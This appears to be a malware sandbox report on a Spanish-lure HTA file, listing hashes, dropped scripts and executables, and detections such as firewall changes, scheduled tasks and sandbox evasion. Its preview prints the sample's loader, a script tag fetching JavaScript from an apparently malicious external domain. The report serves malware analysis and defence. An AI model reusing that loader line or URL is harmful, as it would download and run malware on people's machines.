|
#U2749VER CUENTA#U2749_#U2467#U2464#U2465#U2466#U2465#U2466#U2463#U2462.hta
|
HTML document, ASCII text, with CRLF line terminators
|
initial sample
|
 |
|
|
| Filetype: |
HTML document, ASCII text, with CRLF line terminators
|
| Entropy: |
4.7967635918575935
|
| Filename: |
#U2749VER CUENTA#U2749_#U2467#U2464#U2465#U2466#U2465#U2466#U2463#U2462.hta
|
| Filesize: |
138
|
| MD5: |
1f0b20b8e1b9c0267af0a33368e1d6c7
|
| SHA1: |
4c0f0f757d4f84daaa301f8bf96648171eda3cdb
|
| SHA256: |
2a1bb69cee435a0cd61bc70387717fce0109108ec1d2e8cf79304a01a602a527
|
| SHA512: |
ee08f9b39667e1f22583af01d2e9d75ab72e06e1297f15ce4ca3495b1f6a606c3bb734be0ce9d71fb20aa32165edeeb0bfdfff8531df01149b72af54986c11d2
|
| SSDEEP: |
3:qVoB3tObvvUJMyRchDXeNBcHBDXZILGXIMBWhtoAcMBcacWWGb:q43tEvvUJLcVzVpILVMch0MWXfGb
|
| Preview: |
<html>..<head>..<script src="https://acess.mailcffemx.com//6720bdf2272bc/js/6720bdf227263.js"></script>..</head>..<body>..</body>..</html>
|
|
|
C:\Users\Public\6720bdf2273b1.vbs
|
ASCII text, with CRLF line terminators
|
modified
|
|
|
|
| File: |
C:\Users\Public\6720bdf2273b1.vbs
|
| Category: |
modified
|
| Dump: |
6720bdf2273b1.vbs.5.dr
|
| ID: |
dr_3
|
| Target ID: |
5
|
| Process: |
C:\Windows\SysWOW64\curl.exe
|
| Type: |
ASCII text, with CRLF line terminators
|
| Entropy: |
5.003949152352786
|
| Encrypted: |
false
|
| Size: |
2662
|
| Whitelisted: |
false
|
| Signature Hits |
Behavior Group |
Mitre Attack |
|
| Sigma detected: Script Interpreter Execution From Suspicious Folder |
System Summary |
|
| Sigma detected: Suspicious MSHTA Child Process |
System Summary |
|
| Sigma detected: WScript or CScript Dropper |
System Summary |
|
| Creates a process in suspended mode (likely to inject code) |
HIPS / PFW / Operating System Protection Evasion |
|
| Sigma detected: Usage Of Web Request Commands And Cmdlets |
System Summary |
|
| Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript |
System Summary |
|
| Executes visual basic scripts |
System Summary |
|
| Spawns processes |
System Summary |
|
|
|
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\6720bdf2273ae[1].vbs
|
ASCII text, with CRLF line terminators
|
dropped
|
|
|
|
| File: |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\6720bdf2273ae[1].vbs
|
| Category: |
dropped
|
| Dump: |
6720bdf2273ae[1].vbs.0.dr
|
| ID: |
dr_1
|
| Target ID: |
0
|
| Process: |
C:\Windows\SysWOW64\mshta.exe
|
| Type: |
ASCII text, with CRLF line terminators
|
| Entropy: |
5.427407240624717
|
| Encrypted: |
false
|
| Size: |
721
|
| Whitelisted: |
false
|
| Signature Hits |
Behavior Group |
Mitre Attack |
|
| Sigma detected: Legitimate Application Dropped Script |
System Summary |
|
|
|
C:\_6720bdf2272bc\BLOCKBUSTER.exe
|
PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
|
dropped
|
|
|
|
| File: |
C:\_6720bdf2272bc\BLOCKBUSTER.exe
|
| Category: |
dropped
|
| Dump: |
BLOCKBUSTER.exe.8.dr
|
| ID: |
dr_8
|
| Target ID: |
8
|
| Process: |
C:\Windows\SysWOW64\wscript.exe
|
| Type: |
PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
|
| Entropy: |
6.8003113138269855
|
| Encrypted: |
false
|
| Size: |
9571304
|
| Whitelisted: |
false
|
| Signature Hits |
Behavior Group |
Mitre Attack |
|
| Modifies the windows firewall |
Lowering of HIPS / PFW / Operating System Security Settings |
|
| Sigma detected: Invoke-Obfuscation CLIP+ Launcher |
System Summary |
|
| Sigma detected: Invoke-Obfuscation VAR+ Launcher |
System Summary |
|
| Uses netsh to modify the Windows network and firewall settings |
Lowering of HIPS / PFW / Operating System Security Settings |
|
| Uses schtasks.exe or at.exe to add and modify task schedules |
Boot Survival |
|
| Contains long sleeps (>= 3 min) |
Malware Analysis System Evasion |
Virtualization/Sandbox Evasion
|
| Creates a process in suspended mode (likely to inject code) |
HIPS / PFW / Operating System Protection Evasion |
|
| Drops PE files |
Persistence and Installation Behavior |
|
| Found a high number of Window / User specific system calls (may be a loop to detect user behavior) |
Malware Analysis System Evasion |
|
| Contains medium sleeps (>= 30s) |
Malware Analysis System Evasion |
Virtualization/Sandbox Evasion
|
| Creates guard pages, often used to prevent reverse engineering and debugging |
Anti Debugging |
|
| Creates mutexes |
System Summary |
|
| Creates temporary files |
System Summary |
|
| Disables application error messsages (SetErrorMode) |
Hooking and other Techniques for Hiding and Protection |
|
| Parts of this applications are using Borland Delphi (Probably coded in Delphi) |
System Summary |
|
| Queries a list of all running processes |
Malware Analysis System Evasion |
|
| Spawns processes |
System Summary |
|
| Tries to load missing DLLs |
System Summary |
|
|
|
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\6720bdf227263[1].js
|
ASCII text, with CRLF line terminators
|
dropped
|
|
|
|
| File: |
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\6720bdf227263[1].js
|
| Category: |
dropped
|
| Dump: |
6720bdf227263[1].js.0.dr
|
| ID: |
dr_0
|
| Target ID: |
0
|
| Process: |
C:\Windows\SysWOW64\mshta.exe
|
| Type: |
ASCII text, with CRLF line terminators
|
| Entropy: |
5.443419333788915
|
| Encrypted: |
false
|
| Size: |
343
|
| Whitelisted: |
false
|
| Signature Hits |
Behavior Group |
Mitre Attack |
|
| Creates files inside the user directory |
System Summary |
|
|
|
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms
|
Composite Document File V2 Document, Cannot read section info
|
dropped
|
|
|
|
| File: |
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms
|
| Category: |
dropped
|
| Dump: |
f01b4d95cf55d32a.automaticDestinations-ms.8.dr
|
| ID: |
dr_11
|
| Target ID: |
8
|
| Process: |
C:\Windows\SysWOW64\wscript.exe
|
| Type: |
Composite Document File V2 Document, Cannot read section info
|
| Entropy: |
4.11747748014692
|
| Encrypted: |
false
|
| Size: |
6144
|
| Whitelisted: |
false
|
|
|
C:\_6720bdf2272bc\7zxa.dll
|
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
|
dropped
|
|
|
|
| File: |
C:\_6720bdf2272bc\7zxa.dll
|
| Category: |
dropped
|
| Dump: |
7zxa.dll.8.dr
|
| ID: |
dr_6
|
| Target ID: |
8
|
| Process: |
C:\Windows\SysWOW64\wscript.exe
|
| Type: |
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
|
| Entropy: |
5.717349485381296
|
| Encrypted: |
false
|
| Size: |
76578816
|
| Whitelisted: |
false
|
| Signature Hits |
Behavior Group |
Mitre Attack |
|
| Drops PE files |
Persistence and Installation Behavior |
|
|
|
C:\_6720bdf2272bc\BLOCKBUSTER.dll
|
data
|
dropped
|
|
|
|
| File: |
C:\_6720bdf2272bc\BLOCKBUSTER.dll
|
| Category: |
dropped
|
| Dump: |
BLOCKBUSTER.dll.8.dr
|
| ID: |
dr_7
|
| Target ID: |
8
|
| Process: |
C:\Windows\SysWOW64\wscript.exe
|
| Type: |
data
|
| Entropy: |
7.447705234612919
|
| Encrypted: |
false
|
| Size: |
425472
|
| Whitelisted: |
false
|
|
|
C:\_6720bdf2272bc\downloaded.zip
|
Zip archive data, at least v2.0 to extract, compression method=deflate
|
dropped
|
|
|
|
| File: |
C:\_6720bdf2272bc\downloaded.zip
|
| Category: |
dropped
|
| Dump: |
downloaded.zip.8.dr
|
| ID: |
dr_4
|
| Target ID: |
8
|
| Process: |
C:\Windows\SysWOW64\wscript.exe
|
| Type: |
Zip archive data, at least v2.0 to extract, compression method=deflate
|
| Entropy: |
7.9749016070421925
|
| Encrypted: |
false
|
| Size: |
39849410
|
| Whitelisted: |
false
|
| Signature Hits |
Behavior Group |
Mitre Attack |
|
| Queries the volume information (name, serial number etc) of a device |
Language, Device and Operating System Detection |
System Information Discovery
|
|
|
C:\_6720bdf2272bc\hc.dll
|
data
|
dropped
|
|
|
|
| File: |
C:\_6720bdf2272bc\hc.dll
|
| Category: |
dropped
|
| Dump: |
hc.dll.8.dr
|
| ID: |
dr_9
|
| Target ID: |
8
|
| Process: |
C:\Windows\SysWOW64\wscript.exe
|
| Type: |
data
|
| Entropy: |
7.330570271317417
|
| Encrypted: |
false
|
| Size: |
1561600
|
| Whitelisted: |
false
|
|
|
C:\_6720bdf2272bc\unrar.dll
|
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
|
dropped
|
|
|
|
| File: |
C:\_6720bdf2272bc\unrar.dll
|
| Category: |
dropped
|
| Dump: |
unrar.dll.8.dr
|
| ID: |
dr_10
|
| Target ID: |
8
|
| Process: |
C:\Windows\SysWOW64\wscript.exe
|
| Type: |
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
|
| Entropy: |
6.475102022731023
|
| Encrypted: |
false
|
| Size: |
178176
|
| Whitelisted: |
false
|
| Signature Hits |
Behavior Group |
Mitre Attack |
|
| Drops PE files |
Persistence and Installation Behavior |
|
|
|
\Device\ConDrv
|
ASCII text, with CRLF line terminators
|
dropped
|
|
|
|
| File: |
\Device\ConDrv
|
| Category: |
dropped
|
| Dump: |
ConDrv.37.dr
|
| ID: |
dr_12
|
| Target ID: |
37
|
| Process: |
C:\Windows\SysWOW64\netsh.exe
|
| Type: |
ASCII text, with CRLF line terminators
|
| Entropy: |
2.2359263506290326
|
| Encrypted: |
false
|
| Size: |
7
|
| Whitelisted: |
false
|
|
